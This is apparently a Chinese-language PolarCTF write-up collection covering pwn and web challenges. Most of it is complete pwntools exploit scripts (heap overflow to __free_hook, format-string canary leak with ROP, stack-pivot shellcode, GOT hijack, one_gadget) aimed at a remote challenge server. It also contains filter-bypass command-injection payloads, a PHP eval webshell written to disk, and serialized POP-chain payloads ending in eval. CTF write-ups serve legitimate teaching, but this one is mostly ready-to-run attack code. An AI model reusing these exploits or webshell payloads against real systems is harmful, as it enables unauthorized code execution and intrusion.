经典堆题。主函数
int __fastcall main(int argc, const char **argv, const char **envp)
{
void (**v4)(void); // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v4 = malloc(0x10uLL);
*v4 = hello_message;
v4[1] = goodbye_message;
(*v4)();
while ( 1 )
{
menu();
read(0, buf, 8uLL);
switch ( atoi(buf) )
{
case 1:
show_gift();
break;
case 2:
add_gift();
break;
case 3:
change_gift();
break;
case 4:
remove_gift();
break;
case 5:
v4[1]();
exit(0);
default:
puts("invaild choice!!!");
break;
}
}
}
编辑函数存在堆溢出,编辑时可以输入任意长度字符串。
unsigned __int64 change_gift()
{
int v1; // [rsp+4h] [rbp-2Ch]
int v2; // [rsp+8h] [rbp-28h]
char buf[16]; // [rsp+10h] [rbp-20h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of gift:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *(&unk_6020C8 + 2 * v1) )
{
printf("Please enter the length of gift name:");
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name of the gift:");
*(*(&unk_6020C8 + 2 * v1) + read(0, *(&unk_6020C8 + 2 * v1), v2)) = 0; //漏洞点
}
else
{
puts("invaild index");
}
}
else
{
puts("No gift in the house");
}
return __readfsqword(0x28u) ^ v5;
}
通过溢出修改fastbin的fd实现任意地址写,本题目pie没开,可以直接写到堆块地址管理区。
add(0x68,'aaaa')
add(0x68,'bbbb')
add(0x68,'/bin/sh\x00')
free(1)
edit(0,0x88,"a"*0x60+p64(0)+p64(0x78)+p64(0x6020ad))
add(0x68,'dddd')
修改堆块地址到got表泄露libc。
add(0x68,'\x00'*3+p64(0x68)+p64(elf.got['puts']))
show()
修改__free_hook
为system
地址,free一个/bin/sh
字符串rce。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./magichouse')
#gdb.attach(r,"b * 0x40138a")
gdb.attach(r,"b * menu")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('1.95.36.136',2114)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./magichouse')
def add(name,gift):
r.recvuntil("choice:")
r.sendline("2")
r.recvuntil("name:")
r.sendline(str(name))
r.recvuntil("gift:")
r.sendline(gift)
def edit(index,size,Content):
r.recvuntil("choice:")
r.sendline("3")
r.recvuntil("gift:")
r.sendline(str(index))
r.recvuntil("name:")
r.sendline(str(size))
r.recvuntil("gift:")
r.sendline(Content)
def free(index):
r.recvuntil("choice:")
r.sendline("4")
r.recvuntil("gift:")
r.sendline(str(index))
def show():
r.recvuntil("choice:")
r.sendline("1")
add(0x68,'aaaa')
add(0x68,'bbbb')
add(0x68,'/bin/sh\x00')
free(1)
edit(0,0x88,"a"*0x60+p64(0)+p64(0x78)+p64(0x6020ad))
add(0x68,'dddd')
add(0x68,'\x00'*3+p64(0x68)+p64(elf.got['puts']))
show()
r.recvuntil("0 : ")
puts = u64(r.recv(6)+'\x00\x00')
log.success("puts:"+hex(puts))
libc_addr = puts - libc.symbols['puts']
system = libc_addr + libc.symbols['system']
edit(3,0x68,'\x00'*3+p64(0x68)+p64(libc_addr + libc.symbols['__free_hook']))
edit(0,0x68,p64(system))
free(2)
r.interactive()
漏洞点在input()
函数。
unsigned __int64 input()
{
char v1[112]; // [rsp+0h] [rbp-270h] BYREF
char buf[504]; // [rsp+70h] [rbp-200h] BYREF
unsigned __int64 v3; // [rsp+268h] [rbp-8h]
v3 = __readfsqword(0x28u);
read(0, buf, 0x20uLL);
printf(buf);
gets(v1);
return __readfsqword(0x28u) ^ v3;
}
格式化字符串依次泄露栈、canary、pie地址。把/bin/sh
字符串写在rop链后面,写在前面会被system
函数的栈覆盖掉。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./bllhl_pieee')
gdb.attach(r,"b * $rebase(0xAe8)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('1.95.36.136',2136)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./bllhl_pieee')
r.recvuntil("shell?")
r.send("no")
sleep(1)
r.send("%p%83$p%85$p/bin/sh")
r.recvuntil("good!!!")
stack = int(r.recv(14),16)
canary = int(r.recv(18),16)
pie = int(r.recv(14),16) - 0xbc6
rdi = pie + 0xc53
system = pie + elf.symbols['system']
binsh = stack +0x220
log.success("stack:"+hex(stack))
log.success("canary:"+hex(canary))
log.success("pie:"+hex(pie))
r.sendline( "a"*(0x268) +p64(canary)+p64(0xdeadbeef)+p64(rdi)+p64(binsh)+p64(system)+ "/bin/sh\x00")
r.interactive()
bss段可执行,sub_401306()
函数有栈溢出,题目提供了/bin/sh
字符串。
int sub_401306()
{
char buf[9]; // [rsp+7h] [rbp-9h] BYREF
puts("bllbl say: ");
printf("welcome to PolarCTF Summer Games");
read(0, buf, 0x24uLL);
return printf("okok");
}
栈迁移到bss段,写入9(溢出位)+8(rbp)
长度的微小shellcode rce。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./bllbl_shellcode4')
gdb.attach(r,"b * 0x401360")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('1.95.36.136',2060)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./bllbl_shellcode4')
r.recvuntil("Games")
r.send("a"*9+p64(0x404300)+p64(0x401335))
r.recvuntil("okok")
sc = asm("mov al,0x3b;mov edi,0x40203f;xor rsi,rsi;mov rdx,rsi;syscall;")
r.send(sc + 'a'*(17-len(sc))+p64(0x404300-9))
r.interactive()
堆题,依旧是编辑函数堆溢出。
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(*(&heaparray + v1) v2); // 漏洞在此
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
劫持atoi()
,函数为system()
函数rce。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./polarmagicheap')
#gdb.attach(r,"b * 0x40138a")
gdb.attach(r,"b * menu")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('1.95.36.136',2117)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./polarmagicheap')
def add(size,Content):
r.recvuntil("choice :")
r.sendline("1")
r.recvuntil("Heap :")
r.sendline(str(size))
r.recvuntil("heap:")
r.send(Content)
def edit(index,size,Content):
r.recvuntil("choice :")
r.sendline("2")
r.recvuntil("Index :")
r.sendline(str(index))
r.recvuntil("Heap :")
r.sendline(str(size))
r.recvuntil("heap :")
r.send(Content)
def free(index):
r.recvuntil("choice :")
r.sendline("3")
r.recvuntil("Index :")
r.sendline(str(index))
add(0x68,'aaaa')
add(0x68,'bbbb')
add(0x68,'/bin/sh\x00')
free(1)
edit(0,0x88,"a"*0x60+p64(0)+p64(0x78)+p64(0x6020ad))
add(0x68,'dddd')
add(0x68,'\x00'*0x23+p64(0x6020e8))
edit(0,8,p64(elf.got['free']))
edit(1,8,p64(elf.symbols['puts']))
edit(0,8,p64(elf.got['puts']))
free(1)
puts = u64(r.recv(6)+'\x00\x00')
log.success("puts:"+hex(puts))
libc_addr = puts - libc.symbols['puts']
system = libc_addr + libc.symbols['system']
edit(0,8,p64(elf.got['atoi']))
edit(1,8,p64(system))
r.send("/bin/sh")
r.interactive()
栈溢出,漏洞点在
char *__cdecl xxx(char *s)
{
char dest[20]; // [esp+7h] [ebp-21h] BYREF
unsigned __int8 v3; // [esp+1Bh] [ebp-Dh]
int v4; // [esp+1Ch] [ebp-Ch]
printf("hello hacker!");
v3 = strlen(s);
if ( v3 <= 1u || v3 > 9u )
{
printf("no");
}
else
{
printf("good!");
return strcpy(dest, s);
}
return (char *)v4;
}
输入长度在0x102至0x109就可以溢出不出发waf。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'i386'
local = 0
if local == 1:
r=process('./flow')
gdb.attach(r,"b * 0x80487D8")
#gdb.attach(r,"b * menu")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('1.95.36.136',2094)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./flow')
r.recvuntil('name')
r.send('a'*8)
r.recvuntil("going?")
r.sendline('3')
r.recvuntil("shell:")
payload = cyclic(37) + p32(elf.symbols['system']) + p32(elf.symbols['system']) + p32(elf.search('/bin/sh').next())
r.send(payload + 'a'*(0x105-len(payload)))
r.interactive()
编辑函数堆溢出。
ssize_t edit_chunk()
{
int num; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]
puts("index:");
num = get_num();
puts("length:");
v2 = get_num();
puts("content:");
return read(0, (&chunk_list)[num], v2); //漏洞点
}
将0x6020D0地址覆盖为520 getshell。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./bllhl_double_free')
#gdb.attach(r,"b * 0x40138a")
gdb.attach(r,"b * menu")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('1.95.36.136',2125)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./bllhl_double_free')
def add(index,size):
r.recvuntil("choice:")
r.sendline("1")
r.recvuntil("index:")
r.sendline(str(index))
r.recvuntil("size:")
r.sendline(str(size))
def edit(index,size,Content):
r.recvuntil("choice:")
r.sendline("3")
r.recvuntil("index:")
r.sendline(str(index))
r.recvuntil("length:")
r.sendline(str(size))
r.recvuntil("content:")
r.send(Content)
def free(index):
r.recvuntil("choice:")
r.sendline("2")
r.recvuntil("index:")
r.sendline(str(index))
add(0,0x68)
add(1,0x68)
add(2,0x68)
free(1)
edit(0,0x88,"a"*0x60+p64(0)+p64(0x78)+p64(0x6020bc))
add(3,0x68)
add(4,0x68)
edit(4,0x88,"a"*4+p64(520))
r.recvuntil("choice:")
r.sendline(5)
r.interactive()
一次任意地址读,一次任意地址执行。
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 (*v4)(void); // [rsp+8h] [rbp-28h] BYREF
_QWORD buf[4]; // [rsp+10h] [rbp-20h] BYREF
buf[3] = __readfsqword(0x28u);
init(argc, argv, envp);
puts(s);
puts(
"鈻堚枅鈺斺晲鈺愨枅鈻堚晽鈻堚枅鈺斺晲鈺愨晲鈻堚枅鈺椻枅鈻堚晳 鈻堚枅鈺斺晲鈺愨枅鈻堚晽鈻堚枅鈺斺晲鈺愨枅鈻堚晽\n");
puts(asc_400BA8);
puts(asc_400C18);
puts(asc_400C88);
puts(asc_400CF8);
setbuf(stdout, 0LL);
printf("welcome to polar challenge");
puts("You need an address.");
__isoc99_scanf("%ld", &v4);
read(0, buf, 0x10uLL);
if ( buf[0] != 520LL )
return 0;
printf("the gift for you: 0x%016lx\n", *(_QWORD *)v4);
printf("Here is the address you want to go to.");
puts("you need to use");
__isoc99_scanf("%ld", &v4);
puts("polar");
puts(s);
puts(
"鈻堚枅鈺斺晲鈺愨枅鈻堚晽鈻堚枅鈺斺晲鈺愨晲鈻堚枅鈺椻枅鈻堚晳 鈻堚枅鈺斺晲鈺愨枅鈻堚晽鈻堚枅鈺斺晲鈺愨枅鈻堚晽\n");
puts(asc_400BA8);
puts(asc_400C18);
puts(asc_400C88);
puts(asc_400CF8);
return v4();
}
读got表,执行one_gadget。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./gadget')
gdb.attach(r,"b * 0x400A1C")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('1.95.36.136',2066)
libc = ELF('./libc.so')
elf = ELF('./gadget')
r.recvuntil("address.")
r.sendline(str(elf.got['puts']))
sleep(1)
r.send(p64(520))
r.recvuntil("the gift for you: ")
puts = int(r.recv(18),16)
libc_addr = puts - libc.symbols['puts']
log.success("puts:"+hex(puts))
r.sendline(str(libc_addr + 0x45216))
r.interactive()
格式化字符串改n,gets()栈溢出拿shell。
int input()
{
char buf[264]; // [esp+0h] [ebp-108h] BYREF
puts("hello hacker!");
read(0, buf, 0x50u);
printf(buf);
if ( n == 4 )
return back();
else
return printf("NO!");
}
char *back()
{
char s[24]; // [esp+0h] [ebp-18h] BYREF
puts("666!");
return gets(s);
}
exp如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'i386'
local = 0
if local == 1:
r=process('./format')
gdb.attach(r,"b * 0x8048739")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('1.95.36.136',2066)
libc = ELF('./libc.so')
elf = ELF('./format')
r.recvuntil("shell?")
r.send("no")
r.recvuntil("hacker!")
r.send(p32(0x804A06C)+"%4$n")
r.recvuntil("666")
r.sendline("a"*24+p32(0xdeadbeef)+p32(elf.symbols['gets'])+p32(elf.symbols['system'])+p32(0x804a500)+p32(0x804a500))
r.interactive()
dirsearch扫描结果
[11:08:18] Starting:
[11:08:21] 403 - 318B - /.ht_wsr.txt
[11:08:21] 403 - 318B - /.htaccess.bak1
[11:08:21] 403 - 318B - /.htaccess.sample
[11:08:21] 403 - 318B - /.htaccess.orig
[11:08:21] 403 - 318B - /.htaccess_orig
[11:08:21] 403 - 318B - /.htaccess.save
[11:08:21] 403 - 318B - /.htaccess_extra
[11:08:21] 403 - 318B - /.htaccessOLD
[11:08:21] 403 - 318B - /.htaccessBAK
[11:08:21] 403 - 318B - /.htaccess_sc
[11:08:21] 403 - 318B - /.html
[11:08:21] 403 - 318B - /.htaccessOLD2
[11:08:21] 403 - 318B - /.htpasswds
[11:08:21] 403 - 318B - /.htm
[11:08:21] 403 - 318B - /.htpasswd_test
[11:08:21] 403 - 318B - /.httr-oauth
[11:08:27] 200 - 260B - /admin.php
[11:08:53] 403 - 318B - /server-status
[11:08:53] 403 - 318B - /server-status/
[11:09:00] 200 - 2KB - /www.zip
admin.php内容为,解码为polarctf。
我的文件喜欢加密
cG9sYXJjdGY=
用这个密码解密www.zip,得到一个字典,用bp爆破密码为admin789
。
登录进入下一环节,dirsearch结果如下。
[11:57:16] 403 - 318B - /polarctf/.ht_wsr.txt
[11:57:16] 403 - 318B - /polarctf/.htaccess.orig
[11:57:17] 403 - 318B - /polarctf/.htaccess.bak1
[11:57:17] 403 - 318B - /polarctf/.htaccess.save
[11:57:17] 403 - 318B - /polarctf/.htaccess.sample
[11:57:17] 403 - 318B - /polarctf/.htaccess_extra
[11:57:17] 403 - 318B - /polarctf/.htaccessBAK
[11:57:17] 403 - 318B - /polarctf/.htaccessOLD
[11:57:17] 403 - 318B - /polarctf/.htaccess_sc
[11:57:17] 403 - 318B - /polarctf/.htaccessOLD2
[11:57:17] 403 - 318B - /polarctf/.htaccess_orig
[11:57:17] 403 - 318B - /polarctf/.html
[11:57:17] 403 - 318B - /polarctf/.htm
[11:57:17] 403 - 318B - /polarctf/.htpasswd_test
[11:57:17] 403 - 318B - /polarctf/.htpasswds
[11:57:17] 403 - 318B - /polarctf/.httr-oauth
[11:57:21] 200 - 1KB - /polarctf/about.php
[11:57:33] 200 - 1KB - /polarctf/contact.php
[11:57:58] 200 - 2KB - /polarctf/upload.php
upload.php是一个上传页面,花式绕过,访问webshell getshell。
这题可以看做0字母命令执行(剩下那个PATH没啥用了),在终端中可以将8进制数字转换为对应字母并执行。例如ls
可以通过$'\154\163'
的方式进行执行。
<?php
error_reporting(0);
highlight_file(__FILE__);
$gou = $_GET["gou"];
$gou = str_replace(['~', '^', '_'], '', $gou);
$hei = array('Q', 'W', 'E', 'R', 'Y', 'U', 'I', 'O', 'S', 'D', 'F', 'G', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'q', 'w', 'e', 'r', 'y', 'u', 'i', 'o', 's', 'd', 'f', 'g', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm');
$heizi = str_ireplace($hei, '', $gou);
if ($heizi !== $gou) {
die("heizi");
}
system($gou);
?>
用$'\154\163' ../
找到flag.php
<?php
error_reporting(0);
highlight_file(__FILE__);
$gou = $_GET["gou"];
$gou = str_replace(['~', '^', '_'], '', $gou);
$hei = array('Q', 'W', 'E', 'R', 'Y', 'U', 'I', 'O', 'S', 'D', 'F', 'G', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'q', 'w', 'e', 'r', 'y', 'u', 'i', 'o', 's', 'd', 'f', 'g', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm');
$heizi = str_ireplace($hei, '', $gou);
if ($heizi !== $gou) {
die("heizi");
}
system($gou);
?>
flag.php html logs modules run
用$'\143\141\164' ../??a*
读取flag
<?php
error_reporting(0);
highlight_file(__FILE__);
$gou = $_GET["gou"];
$gou = str_replace(['~', '^', '_'], '', $gou);
$hei = array('Q', 'W', 'E', 'R', 'Y', 'U', 'I', 'O', 'S', 'D', 'F', 'G', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'q', 'w', 'e', 'r', 'y', 'u', 'i', 'o', 's', 'd', 'f', 'g', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm');
$heizi = str_ireplace($hei, '', $gou);
if ($heizi !== $gou) {
die("heizi");
}
system($gou);
?>
flag{Tung Tung Tung Sahur}
反序列化
<?php
Class Read{
public $source;
public $is;
public function __toString() {
return $this->is->run("Read");
}
public function __wakeup(){
echo "Hello>>>".$this->source;
}
}
class Help{
public $source;
public $str;
public function Printf($what){
echo "Hello>>>".$what;
echo "<br>";
return $this->str->source;
}
public function __call($name, $arguments){
$this->Printf($name);
}
}
class Polar {
private $var;
public function getit($value){
eval($value);
}
public function __invoke(){
$this->getit($this->var);
}
}
class Doit{
public $is;
private $source;
public function __construct(){
$this->is = array();
}
public function __get($key){
$vul = $this->is;
return $vul();
}
}
if(isset($_GET['polar'])){
@unserialize($_GET['polar']);
}
else{
highlight_file(__FILE__);
}
利用链如下
Read __wakeup ---> Read __toString ---> Help __call ---> Help __Printf ---> Doit __get ---> Polar
exp
<?php
Class Read{
public $source;
public $is;
public function __construct(){
$this->is = new Help;
//$this->source = new Read;
}
public function __toString() {
return $this->is->run("Read");
}
public function __wakeup(){
echo "Hello>>>".$this->source;
}
}
class Help{
public $source;
public $str;
public function __construct(){
$this->str = new Doit;
$this->source = 'a';
}
public function Printf($what){
echo "Hello>>>".$what;
echo "<br>";
return $this->str->source;
}
public function __call($name, $arguments){
$this->Printf($name);
}
}
class Polar {
private $var = 'eval($_POST["a"]);';
public function getit($value){
eval($value);
}
public function __invoke(){
$this->getit($this->var);
}
}
class Doit{
public $is;
private $source;
public function __construct(){
$this->is = new Polar;
}
public function __get($key){
$vul = $this->is;
return $vul();
}
}
$read = new Read();
$read->source = new Read();
echo urlencode(serialize($read));
实施exp
O%3A4%3A%22Read%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Read%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A2%3A%22is%22%3BO%3A4%3A%22Help%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Doit%22%3A2%3A%7Bs%3A2%3A%22is%22%3BO%3A5%3A%22Polar%22%3A1%3A%7Bs%3A10%3A%22%00Polar%00var%22%3Bs%3A18%3A%22eval%28%24_POST%5B%22a%22%5D%29%3B%22%3B%7Ds%3A12%3A%22%00Doit%00source%22%3BN%3B%7D%7D%7Ds%3A2%3A%22is%22%3BO%3A4%3A%22Help%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Doit%22%3A2%3A%7Bs%3A2%3A%22is%22%3BO%3A5%3A%22Polar%22%3A1%3A%7Bs%3A10%3A%22%00Polar%00var%22%3Bs%3A18%3A%22eval%28%24_POST%5B%22a%22%5D%29%3B%22%3B%7Ds%3A12%3A%22%00Doit%00source%22%3BN%3B%7D%7D%7D
一顿绕过找到了题目的源码c''at *
。
<?php
// 检查是否有POST请求且包含cmd参数
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
// 强制切换到当前目录(重要安全措施)
chdir(dirname(__FILE__));
// 过滤危险字符和关键字
$blacklist = array('f','g','cat', 'flag', '&', '|', '`','{', '}','in','nd','de','ex','head','tac','le','ss','mo','re','..','/','\\');
$is_dangerous = false;
// 检查命令是否包含黑名单中的任何项
foreach ($blacklist as $item) {
if (stripos($cmd, $item) !== false) {
$is_dangerous = true;
break;
}
}
// 如果检测到危险操作,回显错误信息
if ($is_dangerous) {
echo "不支持危险操作";
} else {
// 检查过滤后的命令是否为空
if (!empty($cmd)) {
// 执行过滤后的命令
system($cmd);
}
}
}
?>
写入webshell,getshell flag在上级目录flag.php。
cmd=echo '<?php eval($_POST["a"]);?>' >a.php
题目源码
<?php
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
public function __toString() {
if (file_exists('/flag')) {
return file_get_contents('/flag');
} else {
return "Flag file not found!";
}
}
}
class DataValidator {
public static function check($input) {
$filtered = preg_replace('/[^\w]/', '', $input);
return strlen($filtered) > 10 ? true : false;
}
public function __invoke($data) {
return self::check($data);
}
}
class FakeDanger {
private $buffer;
public function __construct($data) {
$this->buffer = base64_encode($data);
}
public function __wakeup() {
if (rand(0, 100) > 50) {
$this->buffer = str_rot13($this->buffer);
}
}
}
class VulnerableClass {
public $logger;
private $debugMode = false;
public function __destruct() {
if ($this->debugMode) {
echo $this->logger;
} else {
$this->cleanup();
}
}
private function cleanup() {
if ($this->logger instanceof DataValidator) {
$this->logger = null;
}
}
}
function sanitize_input($data) {
$data = trim($data);
return htmlspecialchars($data, ENT_QUOTES);
}
if(isset($_GET['data'])) {
$raw = base64_decode($_GET['data']);
if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) {
unserialize($raw);
}
} else {
highlight_file(__FILE__);
}
?>
构造反序列化链。
VulnerableClass --->logger FlagReader
FlagReader ---> cat flag
exp
<?php
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
public function __toString() {
if (file_exists('/flag')) {
return file_get_contents('/flag');
} else {
return "Flag file not found!";
}
}
}
class DataValidator {
public static function check($input) {
$filtered = preg_replace('/[^\w]/', '', $input);
return strlen($filtered) > 10 ? true : false;
}
public function __invoke($data) {
return self::check($data);
}
}
class FakeDanger {
private $buffer;
public function __construct($data) {
$this->buffer = base64_encode($data);
}
public function __wakeup() {
if (rand(0, 100) > 50) {
$this->buffer = str_rot13($this->buffer);
}
}
}
class VulnerableClass {
public $logger;
private $debugMode = true;
public function __destruct() {
if ($this->debugMode) {
echo $this->logger;
} else {
$this->cleanup();
}
}
private function cleanup() {
if ($this->logger instanceof DataValidator) {
$this->logger = null;
}
}
}
$a = new VulnerableClass;
$a->logger = new FlagReader;
echo base64_encode(serialize($a));
exp输出
TzoxNToiVnVsbmVyYWJsZUNsYXNzIjoyOntzOjY6ImxvZ2dlciI7TzoxMDoiRmxhZ1JlYWRlciI6Mjp7czoxOToiAEZsYWdSZWFkZXIAbG9nZmlsZSI7czoxMjoiL3RtcC9sb2cudHh0IjtzOjEwOiIAKgBjb250ZW50IjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO31zOjI2OiIAVnVsbmVyYWJsZUNsYXNzAGRlYnVnTW9kZSI7YjoxO30=
全部评论 (共 1 条评论)